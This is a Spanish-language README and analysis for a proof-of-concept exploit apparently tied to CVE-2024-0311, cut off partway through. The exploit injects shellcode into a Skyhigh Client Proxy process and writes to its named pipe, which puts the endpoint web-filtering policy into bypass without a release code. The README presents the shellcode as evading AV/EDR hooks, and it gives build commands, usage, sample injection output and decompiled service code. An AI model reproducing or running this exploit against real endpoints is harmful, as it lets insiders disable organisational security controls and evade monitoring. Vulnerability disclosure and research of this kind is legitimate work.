
Exploit de prueba de concepto para CVE-2024-0311 que evita la política de Skyhigh Client Proxy mediante inyección de procesos y manipulación de named pipes, con shellcode personalizado para evadir restricciones de AV/EDR.
Esta es una PoC de lo que creo que es CVE-2024-0311, SB10418.
Un usuario interno malintencionado puede eludir la política existente de Skyhigh Client Proxy sin un código de liberación válido.
Muchos detalles. Muy exploit. ¯\(ツ)/¯
La PoC inyecta en un proceso SCPBypass.exe ejecutado por el usuario y escribe en la tubería de SCPService.exe: \\.\pipe\MCPTrayPipe0.
La inyección es necesaria ya que, incluso si la tubería tiene permisos RW Everyone, WGUARDNT realiza algunas comprobaciones en el ejecutable que escribe en la tubería (se verifica la ruta del escritor), consulte abajo.
Se proporciona un shellcode de ejemplo que permite la ejecución de WriteFile en la tubería incluso si Trellix/McAfee están ejecutándose y enganchando/bloqueando LoadLibrary.
Compilar en modo Debug o Release desde Visual Studio
Genere el shellcode mediante:
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary
luego reemplace el shellcode en shellcode.c.
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: No llamar a SetNamedPipeHandleState. El shellcode valida el puntero a SetNamedPipeHandleState antes de llamarlo.
* debugon: establece un breakpoint en el shellcode (0xcc en offset 0) y genera un hilo para enlazar la tubería nombrada. No usar en producción.
Ejemplo de salida:
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>
Si todo salió bien, en los archivos de registro de SCP debería encontrar una entrada similar a esta:
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run - SCP will be going into bypass mode for 1440 minutes
Este será un análisis breve, porque nadie tiene tiempo para palabras.
En primer lugar, ¿qué es el cliente proxy de Skyhigh?
El software Skyhigh Security Client Proxy ayuda a proteger a los usuarios de sus endpoints de las amenazas de seguridad que surgen cuando acceden a la web desde dentro o fuera de su red. El software cliente, que se instala en endpoints que ejecutan Microsoft Windows o macOS, redirige las solicitudes web o permite que continúen hacia un proxy para su filtrado. El software servidor se ejecuta en una de las plataformas de gestión: Trellix ePO SaaS o Trellix ePO Cloud.
Eso debería aclararlo.
Dada la información del aviso, no hay mucho por dónde empezar.
Sinceramente, estaba revisando el servicio binario para detectar problemas fáciles de explotar para escalar privilegios (LPE) cuando vi CreateNamedPipe y me interesé.
Aquí hay una copia rápida del código descompilado de Ghidra:
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)
{
BOOL BVar1;
int atoi_out_lpBuffer;
HANDLE hNamedPipe;
undefined8 uVar2;
undefined auStackY_4c8 [32];
uint nBytesRead;
undefined4 local_474;
undefined4 local_470;
ulonglong nBytesRead_0;
_SECURITY_ATTRIBUTES local_460;
undefined pSecurityDescriptor [48];
char out_lpBuffer [1024];
ulonglong local_18;
local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
InitializeSecurityDescriptor(pSecurityDescriptor,1);
/* BOOL SetSecurityDescriptorDacl(
[in, out] PSECURITY_DESCRIPTOR pSecurityDescriptor,
[in] BOOL bDaclPresent,
[in, optional] PACL pDacl,
[in] BOOL bDaclDefaulted
); */
SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
local_460.bInheritHandle = 0;
local_460.lpSecurityDescriptor = pSecurityDescriptor;
local_460.nLength = 0x18;
/* HANDLE CreateNamedPipeW(
[in] LPCWSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
*/
hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
if (BVar1 != 0) {
while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
BVar1 != 0) {
nBytesRead_0 = (ulonglong)nBytesRead;
if (1023 < nBytesRead_0) {
fail_or_fastfail_FUN_1404794f0();
}
out_lpBuffer[nBytesRead_0] = '\0';
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
local_474 = 0;
}
else {
TraceMessage_FUN_140027e70
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
local_474 = 1;
}
FUN_14022d510(param_1,1);
atoi_out_lpBuffer = atoi(out_lpBuffer);
uVar2 = FUN_140040210();
LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
local_470 = 0;
}
else {
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
);
local_470 = 1;
}
FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
atoi_out_lpBuffer);
FUN_14022d5b0(param_1,atoi_out_lpBuffer);
}
}
DisconnectNamedPipe(hNamedPipe);
}
FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
return;
}
Como podemos ver, una vez que se llama a la función, se inicializa una nueva estructura DACL y se crea una nueva tubería \\.\pipe\MCPTrayPipe0 en modo byte.
Luego, mientras el identificador de dicha tubería sea válido, el programa lee de ella e intenta convertir los bytes enviados de ASCII a entero con atoi(out_lpBuffer).
Ignorando el hecho de que hay mejores alternativas a atoi, asumiendo que la llamada a atoi no ha fallado, el valor convertido se pasa a FUN_14022d5b0:
undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)
{
BOOL BVar1;
DWORD DVar2;
undefined8 uVar3;
LARGE_INTEGER local_10 [2];